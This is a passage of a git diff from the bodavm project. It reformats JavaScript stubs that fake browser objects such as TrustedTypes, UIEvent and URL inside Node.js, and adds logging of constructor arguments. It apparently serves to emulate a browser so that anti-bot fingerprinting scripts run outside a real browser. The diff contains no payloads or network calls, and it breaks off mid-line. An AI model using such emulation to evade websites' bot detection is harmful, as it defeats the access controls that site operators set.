-bodavm.toolsFunc.defineProperty('TrustedScript', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScript'].prototype, "TrustedScript", "toString", arguments)}},'prototype'); +// TrustedScript对象 + +bodavm.memory.globalobj['TrustedScript'] = function TrustedScript() { + console.log_copy('TrustedScript 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TrustedScript)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedScript'], "TrustedScript"); +bodavm.toolsFunc.defineProperty('TrustedScript', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScript'].prototype, "TrustedScript", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedScript', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScript'].prototype, "TrustedScript", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TrustedScriptURL.js b/env_xbb_lastest_jsdom/env/TrustedScriptURL.js index d26514e6..10af92e5 100644 --- a/env_xbb_lastest_jsdom/env/TrustedScriptURL.js +++ b/env_xbb_lastest_jsdom/env/TrustedScriptURL.js @@ -1,5 +1,33 @@ -// TrustedScriptURL对象 -bodavm.memory.globalobj['TrustedScriptURL'] = function TrustedScriptURL(){if (!(this instanceof TrustedScriptURL)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedScriptURL'], "TrustedScriptURL"); -bodavm.toolsFunc.defineProperty('TrustedScriptURL', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScriptURL'].prototype, "TrustedScriptURL", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedScriptURL', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScriptURL'].prototype, "TrustedScriptURL", "toString", arguments)}},'prototype'); +// TrustedScriptURL对象 + +bodavm.memory.globalobj['TrustedScriptURL'] = function TrustedScriptURL() { + console.log_copy('TrustedScriptURL 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TrustedScriptURL)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedScriptURL'], "TrustedScriptURL"); +bodavm.toolsFunc.defineProperty('TrustedScriptURL', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScriptURL'].prototype, "TrustedScriptURL", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedScriptURL', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedScriptURL'].prototype, "TrustedScriptURL", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TrustedTypePolicy.js b/env_xbb_lastest_jsdom/env/TrustedTypePolicy.js index 774ce4db..06496ee2 100644 --- a/env_xbb_lastest_jsdom/env/TrustedTypePolicy.js +++ b/env_xbb_lastest_jsdom/env/TrustedTypePolicy.js @@ -1,7 +1,49 @@ -// TrustedTypePolicy对象 -bodavm.memory.globalobj['TrustedTypePolicy'] = function TrustedTypePolicy(){if (!(this instanceof TrustedTypePolicy)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedTypePolicy'], "TrustedTypePolicy"); -bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "createHTML", {configurable:true, enumerable:true, writable:true, value:function createHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "createHTML", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "createScript", {configurable:true, enumerable:true, writable:true, value:function createScript (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "createScript", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "createScriptURL", {configurable:true, enumerable:true, writable:true, value:function createScriptURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "createScriptURL", arguments)}},'prototype'); +// TrustedTypePolicy对象 + +bodavm.memory.globalobj['TrustedTypePolicy'] = function TrustedTypePolicy() { + console.log_copy('TrustedTypePolicy 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TrustedTypePolicy)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedTypePolicy'], "TrustedTypePolicy"); +bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "createHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function createHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "createHTML", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "createScript", { + configurable: true, + enumerable: true, + writable: true, + value: function createScript() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "createScript", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicy', "createScriptURL", { + configurable: true, + enumerable: true, + writable: true, + value: function createScriptURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicy'].prototype, "TrustedTypePolicy", "createScriptURL", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/TrustedTypePolicyFactory.js b/env_xbb_lastest_jsdom/env/TrustedTypePolicyFactory.js index c5fa771e..d3310953 100644 --- a/env_xbb_lastest_jsdom/env/TrustedTypePolicyFactory.js +++ b/env_xbb_lastest_jsdom/env/TrustedTypePolicyFactory.js @@ -1,15 +1,99 @@ -// TrustedTypePolicyFactory对象 -bodavm.memory.globalobj['TrustedTypePolicyFactory'] = function TrustedTypePolicyFactory(){if (!(this instanceof TrustedTypePolicyFactory)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedTypePolicyFactory'], "TrustedTypePolicyFactory"); -bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['TrustedTypePolicyFactory'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "emptyHTML", {configurable:true, enumerable:true, get:function emptyHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "emptyHTML_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "emptyScript", {configurable:true, enumerable:true, get:function emptyScript (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "emptyScript_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "defaultPolicy", {configurable:true, enumerable:true, get:function defaultPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "defaultPolicy_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "createPolicy", {configurable:true, enumerable:true, writable:true, value:function createPolicy (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "createPolicy", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getAttributeType", {configurable:true, enumerable:true, writable:true, value:function getAttributeType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getAttributeType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getPropertyType", {configurable:true, enumerable:true, writable:true, value:function getPropertyType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getPropertyType", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getTypeMapping", {configurable:true, enumerable:true, writable:true, value:function getTypeMapping (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getTypeMapping", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isHTML", {configurable:true, enumerable:true, writable:true, value:function isHTML (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isHTML", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isScript", {configurable:true, enumerable:true, writable:true, value:function isScript (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isScript", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isScriptURL", {configurable:true, enumerable:true, writable:true, value:function isScriptURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isScriptURL", arguments)}},'prototype'); +// TrustedTypePolicyFactory对象 + +bodavm.memory.globalobj['TrustedTypePolicyFactory'] = function TrustedTypePolicyFactory() { + console.log_copy('TrustedTypePolicyFactory 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof TrustedTypePolicyFactory)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['TrustedTypePolicyFactory'], "TrustedTypePolicyFactory"); +bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['TrustedTypePolicyFactory'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "emptyHTML", { + configurable: true, + enumerable: true, + get: function emptyHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "emptyHTML_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "emptyScript", { + configurable: true, + enumerable: true, + get: function emptyScript() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "emptyScript_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "defaultPolicy", { + configurable: true, + enumerable: true, + get: function defaultPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "defaultPolicy_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "createPolicy", { + configurable: true, + enumerable: true, + writable: true, + value: function createPolicy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "createPolicy", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getAttributeType", { + configurable: true, + enumerable: true, + writable: true, + value: function getAttributeType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getAttributeType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getPropertyType", { + configurable: true, + enumerable: true, + writable: true, + value: function getPropertyType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getPropertyType", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "getTypeMapping", { + configurable: true, + enumerable: true, + writable: true, + value: function getTypeMapping() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "getTypeMapping", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isHTML", { + configurable: true, + enumerable: true, + writable: true, + value: function isHTML() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isHTML", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isScript", { + configurable: true, + enumerable: true, + writable: true, + value: function isScript() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isScript", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('TrustedTypePolicyFactory', "isScriptURL", { + configurable: true, + enumerable: true, + writable: true, + value: function isScriptURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['TrustedTypePolicyFactory'].prototype, "TrustedTypePolicyFactory", "isScriptURL", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/UIEvent.js b/env_xbb_lastest_jsdom/env/UIEvent.js index 7990c8c5..0e9759cf 100644 --- a/env_xbb_lastest_jsdom/env/UIEvent.js +++ b/env_xbb_lastest_jsdom/env/UIEvent.js @@ -1,10 +1,59 @@ -// UIEvent对象 -bodavm.memory.globalobj['UIEvent'] = function UIEvent(){if (!(this instanceof UIEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'UIEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['UIEvent'], "UIEvent"); -bodavm.memory.globalobj['UIEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['UIEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('UIEvent', "view", {configurable:true, enumerable:true, get:function view (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "view_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('UIEvent', "detail", {configurable:true, enumerable:true, get:function detail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "detail_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('UIEvent', "sourceCapabilities", {configurable:true, enumerable:true, get:function sourceCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "sourceCapabilities_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('UIEvent', "which", {configurable:true, enumerable:true, get:function which (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "which_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('UIEvent', "initUIEvent", {configurable:true, enumerable:true, writable:true, value:function initUIEvent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "initUIEvent", arguments)}},'prototype'); +// UIEvent对象 + +bodavm.memory.globalobj['UIEvent'] = function UIEvent() { + console.log_copy('UIEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof UIEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'UIEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['UIEvent'], "UIEvent"); +bodavm.memory.globalobj['UIEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['UIEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('UIEvent', "view", { + configurable: true, + enumerable: true, + get: function view() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "view_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('UIEvent', "detail", { + configurable: true, + enumerable: true, + get: function detail() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "detail_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('UIEvent', "sourceCapabilities", { + configurable: true, + enumerable: true, + get: function sourceCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "sourceCapabilities_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('UIEvent', "which", { + configurable: true, + enumerable: true, + get: function which() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "which_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('UIEvent', "initUIEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function initUIEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UIEvent'].prototype, "UIEvent", "initUIEvent", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/URL.js b/env_xbb_lastest_jsdom/env/URL.js index 635b33c7..e046fcc2 100644 --- a/env_xbb_lastest_jsdom/env/URL.js +++ b/env_xbb_lastest_jsdom/env/URL.js @@ -1,19 +1,165 @@ -// URL对象 -bodavm.memory.globalobj['URL'] = function URL(){if (!(this instanceof URL)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'URL': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URL'], "URL"); -bodavm.toolsFunc.defineProperty('URL', "createObjectURL", {configurable:true, enumerable:true, writable:true, value:function createObjectURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].undefined, "URL", "createObjectURL", arguments)}}); -bodavm.toolsFunc.defineProperty('URL', "revokeObjectURL", {configurable:true, enumerable:true, writable:true, value:function revokeObjectURL (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].undefined, "URL", "revokeObjectURL", arguments)}}); -bodavm.toolsFunc.defineProperty('URL', "origin", {configurable:true, enumerable:true, get:function origin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "origin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "protocol", {configurable:true, enumerable:true, get:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "protocol_get", arguments)}, set:function protocol (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "protocol_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "username", {configurable:true, enumerable:true, get:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "username_get", arguments)}, set:function username (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "username_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "password", {configurable:true, enumerable:true, get:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "password_get", arguments)}, set:function password (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "password_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "host", {configurable:true, enumerable:true, get:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "host_get", arguments)}, set:function host (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "host_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "hostname", {configurable:true, enumerable:true, get:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hostname_get", arguments)}, set:function hostname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hostname_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "port", {configurable:true, enumerable:true, get:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "port_get", arguments)}, set:function port (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "port_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "pathname", {configurable:true, enumerable:true, get:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "pathname_get", arguments)}, set:function pathname (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "pathname_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "search", {configurable:true, enumerable:true, get:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "search_get", arguments)}, set:function search (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "search_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "searchParams", {configurable:true, enumerable:true, get:function searchParams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "searchParams_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "hash", {configurable:true, enumerable:true, get:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hash_get", arguments)}, set:function hash (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hash_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "href_get", arguments)}, set:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "href_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('URL', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "toString", arguments)}},'prototype'); +// URL对象 + +bodavm.memory.globalobj['URL'] = function URL() { + console.log_copy('URL 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof URL)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'URL': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['URL'], "URL"); +bodavm.toolsFunc.defineProperty('URL', "createObjectURL", { + configurable: true, + enumerable: true, + writable: true, + value: function createObjectURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].undefined, "URL", "createObjectURL", arguments); + } +}); +bodavm.toolsFunc.defineProperty('URL', "revokeObjectURL", { + configurable: true, + enumerable: true, + writable: true, + value: function revokeObjectURL() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].undefined, "URL", "revokeObjectURL", arguments); + } +}); +bodavm.toolsFunc.defineProperty('URL', "origin", { + configurable: true, + enumerable: true, + get: function origin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "origin_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "protocol", { + configurable: true, + enumerable: true, + get: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "protocol_get", arguments); + }, + set: function protocol() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "protocol_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "username", { + configurable: true, + enumerable: true, + get: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "username_get", arguments); + }, + set: function username() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "username_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "password", { + configurable: true, + enumerable: true, + get: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "password_get", arguments); + }, + set: function password() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "password_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "host", { + configurable: true, + enumerable: true, + get: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "host_get", arguments); + }, + set: function host() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "host_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "hostname", { + configurable: true, + enumerable: true, + get: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hostname_get", arguments); + }, + set: function hostname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hostname_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "port_get", arguments); + }, + set: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "port_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "pathname", { + configurable: true, + enumerable: true, + get: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "pathname_get", arguments); + }, + set: function pathname() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "pathname_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "search", { + configurable: true, + enumerable: true, + get: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "search_get", arguments); + }, + set: function search() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "search_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "searchParams", { + configurable: true, + enumerable: true, + get: function searchParams() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "searchParams_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('URL', "hash", { + configurable: true, + enumerable: true, + get: function hash() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['URL'].prototype, "URL", "hash_get", arguments); + }, + set: function hash() { + return 